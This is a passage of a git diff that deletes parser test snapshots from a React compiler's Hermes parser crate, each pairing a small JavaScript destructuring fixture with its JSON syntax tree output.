-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "someGlobal",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          70
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "someGlobal",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          60,
-                          70
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        60,
-                        70
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    55,
-                    72
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  51,
-                  72
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              47,
-              73
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                83,
-                84
-              ]
-            },
-            "loc": null,
-            "range": [
-              76,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          43,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        21,
-        87
-      ],
-      "loc": null,
-      "range": [
-        21,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-direct-reassignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-direct-reassignment.js.snap
deleted file mode 100644
index 90e68b9d7b28..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-direct-reassignment.js.snap
+++ /dev/null
@@ -1,479 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructure-direct-reassignment.js
----
-Input:
-function foo(props) {
-  let x, y;
-  ({ x, y } = { x: props.a, y: props.b });
-  console.log(x); // prevent DCE from eliminating `x` altogether
-  x = props.c;
-  return x + y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    28,
-                    29
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  28,
-                  29
-                ]
-              },
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  31,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              33
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ObjectPattern",
-                "properties": [
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    "value": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    },
-                    "kind": "init",
-                    "computed": false,
-                    "shorthand": true,
-                    "method": false,
-                    "loc": null,
-                    "range": [
-                      39,
-                      40
-                    ]
-                  },
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    "value": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        42,
-                        43
-                      ]
-                    },
-                    "kind": "init",
-                    "computed": false,
-                    "shorthand": true,
-                    "method": false,
-                    "loc": null,
-                    "range": [
-                      42,
-                      43
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  37,
-                  45
-                ]
-              },
-              "right": {
-                "type": "ObjectExpression",
-                "properties": [
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    },
-                    "value": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          58
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          59,
-                          60
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        53,
-                        60
-                      ]
-                    },
-                    "kind": "init",
-                    "method": false,
-                    "shorthand": false,
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      50,
-                      60
-                    ]
-                  },
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        63
-                      ]
-                    },
-                    "value": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          70
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          71,
-                          72
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        65,
-                        72
-                      ]
-                    },
-                    "kind": "init",
-                    "method": false,
-                    "shorthand": false,
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      62,
-                      72
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  48,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                37,
-                74
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              36,
-              76
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "console",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    86
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "log",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    87,
-                    90
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  79,
-                  90
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    91,
-                    92
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                79,
-                93
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              79,
-              94
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  144,
-                  145
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    153
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    154,
-                    155
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  148,
-                  155
-                ]
-              },
-              "loc": null,
-              "range": [
-                144,
-                155
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              144,
-              156
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  166,
-                  167
-                ]
-              },
-              "operator": "+",
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  170,
-                  171
-                ]
-              },
-              "loc": null,
-              "range": [
-                166,
-                171
-              ]
-            },
-            "loc": null,
-            "range": [
-              159,
-              172
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          174
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        174
-      ],
-      "loc": null,
-      "range": [
-        0,
-        174
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    174
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-default.js.snap
deleted file mode 100644
index 0f2f6e8afe4b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-default.js.snap
+++ /dev/null
@@ -1,194 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-array-default.js
----
-Input:
-function Component(props) {
-  const [[x] = ["default"]] = props.y;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "AssignmentPattern",
-                      "left": {
-                        "type": "ArrayPattern",
-                        "elements": [
-                          {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              38,
-                              39
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          37,
-                          40
-                        ]
-                      },
-                      "right": {
-                        "type": "ArrayExpression",
-                        "elements": [
-                          {
-                            "type": "StringLiteral",
-                            "value": "default",
-                            "loc": null,
-                            "range": [
-                              44,
-                              53
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          43,
-                          54
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        37,
-                        54
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    55
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      58,
-                      63
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      64,
-                      65
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    58,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  65
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              66
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                76,
-                77
-              ]
-            },
-            "loc": null,
-            "range": [
-              69,
-              78
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          80
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        80
-      ],
-      "loc": null,
-      "range": [
-        0,
-        80
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    80
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-param-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-param-default.js.snap
deleted file mode 100644
index b80857c87043..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-array-param-default.js.snap
+++ /dev/null
@@ -1,115 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-array-param-default.js
----
-Input:
-function Component([a = 2]) {
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "ArrayPattern",
-          "elements": [
-            {
-              "type": "AssignmentPattern",
-              "left": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  20,
-                  21
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  24,
-                  25
-                ]
-              },
-              "loc": null,
-              "range": [
-                20,
-                25
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            19,
-            26
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                39,
-                40
-              ]
-            },
-            "loc": null,
-            "range": [
-              32,
-              41
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          28,
-          43
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        43
-      ],
-      "loc": null,
-      "range": [
-        0,
-        43
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    43
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment-array-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment-array-default.js.snap
deleted file mode 100644
index c309684a3c5e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment-array-default.js.snap
+++ /dev/null
@@ -1,342 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-assignment-array-default.js
----
-Input:
-function Component(props) {
-  let x;
-  if (props.cond) {
-    [[x] = ["default"]] = props.y;
-  } else {
-    x = props.fallback;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  34,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              36
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  48
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  49,
-                  53
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                43,
-                53
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "ArrayPattern",
-                      "elements": [
-                        {
-                          "type": "AssignmentPattern",
-                          "left": {
-                            "type": "ArrayPattern",
-                            "elements": [
-                              {
-                                "type": "Identifier",
-                                "name": "x",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  63,
-                                  64
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              62,
-                              65
-                            ]
-                          },
-                          "right": {
-                            "type": "ArrayExpression",
-                            "elements": [
-                              {
-                                "type": "StringLiteral",
-                                "value": "default",
-                                "loc": null,
-                                "range": [
-                                  69,
-                                  78
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              68,
-                              79
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            62,
-                            79
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        61,
-                        80
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          83,
-                          88
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          90
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        83,
-                        90
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      61,
-                      90
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    91
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                55,
-                95
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        107,
-                        108
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          116
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "fallback",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          117,
-                          125
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        111,
-                        125
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      107,
-                      125
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    126
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                101,
-                130
-              ]
-            },
-            "loc": null,
-            "range": [
-              39,
-              130
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                140,
-                141
-              ]
-            },
-            "loc": null,
-            "range": [
-              133,
-              142
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          144
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        144
-      ],
-      "loc": null,
-      "range": [
-        0,
-        144
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    144
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment.js.snap
deleted file mode 100644
index 379cfbcf895f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-assignment.js.snap
+++ /dev/null
@@ -1,624 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-assignment.js
----
-Input:
-function foo(a, b, c) {
-  let d, g, n, o;
-  [
-    d,
-    [
-      {
-        e: { f: g },
-      },
-    ],
-  ] = a;
-  ({
-    l: {
-      m: [[n]],
-    },
-    o,
-  } = b);
-  return { d, g, n, o };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  30,
-                  31
-                ]
-              },
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "g",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  33,
-                  34
-                ]
-              },
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "n",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  36,
-                  37
-                ]
-              },
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "o",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    40
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  39,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              41
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ArrayPattern",
-                "elements": [
-                  {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      50,
-                      51
-                    ]
-                  },
-                  {
-                    "type": "ArrayPattern",
-                    "elements": [
-                      {
-                        "type": "ObjectPattern",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "e",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                75,
-                                76
-                              ]
-                            },
-                            "value": {
-                              "type": "ObjectPattern",
-                              "properties": [
-                                {
-                                  "type": "Property",
-                                  "key": {
-                                    "type": "Identifier",
-                                    "name": "f",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      80,
-                                      81
-                                    ]
-                                  },
-                                  "value": {
-                                    "type": "Identifier",
-                                    "name": "g",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      83,
-                                      84
-                                    ]
-                                  },
-                                  "kind": "init",
-                                  "computed": false,
-                                  "shorthand": false,
-                                  "method": false,
-                                  "loc": null,
-                                  "range": [
-                                    80,
-                                    84
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                78,
-                                86
-                              ]
-                            },
-                            "kind": "init",
-                            "computed": false,
-                            "shorthand": false,
-                            "method": false,
-                            "loc": null,
-                            "range": [
-                              75,
-                              86
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          65,
-                          95
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      57,
-                      102
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  44,
-                  107
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  110,
-                  111
-                ]
-              },
-              "loc": null,
-              "range": [
-                44,
-                111
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              44,
-              112
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ObjectPattern",
-                "properties": [
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "l",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        122,
-                        123
-                      ]
-                    },
-                    "value": {
-                      "type": "ObjectPattern",
-                      "properties": [
-                        {
-                          "type": "Property",
-                          "key": {
-                            "type": "Identifier",
-                            "name": "m",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              133,
-                              134
-                            ]
-                          },
-                          "value": {
-                            "type": "ArrayPattern",
-                            "elements": [
-                              {
-                                "type": "ArrayPattern",
-                                "elements": [
-                                  {
-                                    "type": "Identifier",
-                                    "name": "n",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      138,
-                                      139
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  137,
-                                  140
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              136,
-                              141
-                            ]
-                          },
-                          "kind": "init",
-                          "computed": false,
-                          "shorthand": false,
-                          "method": false,
-                          "loc": null,
-                          "range": [
-                            133,
-                            141
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        125,
-                        148
-                      ]
-                    },
-                    "kind": "init",
-                    "computed": false,
-                    "shorthand": false,
-                    "method": false,
-                    "loc": null,
-                    "range": [
-                      122,
-                      148
-                    ]
-                  },
-                  {
-                    "type": "Property",
-                    "key": {
-                      "type": "Identifier",
-                      "name": "o",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        154,
-                        155
-                      ]
-                    },
-                    "value": {
-                      "type": "Identifier",
-                      "name": "o",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        154,
-                        155
-                      ]
-                    },
-                    "kind": "init",
-                    "computed": false,
-                    "shorthand": true,
-                    "method": false,
-                    "loc": null,
-                    "range": [
-                      154,
-                      155
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  116,
-                  160
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  163,
-                  164
-                ]
-              },
-              "loc": null,
-              "range": [
-                116,
-                164
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              115,
-              166
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      178,
-                      179
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "d",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      178,
-                      179
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    178,
-                    179
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "g",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      181,
-                      182
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "g",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      181,
-                      182
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    181,
-                    182
-                  ]
-                },
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "n",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      184,
-                      185
-                    ]
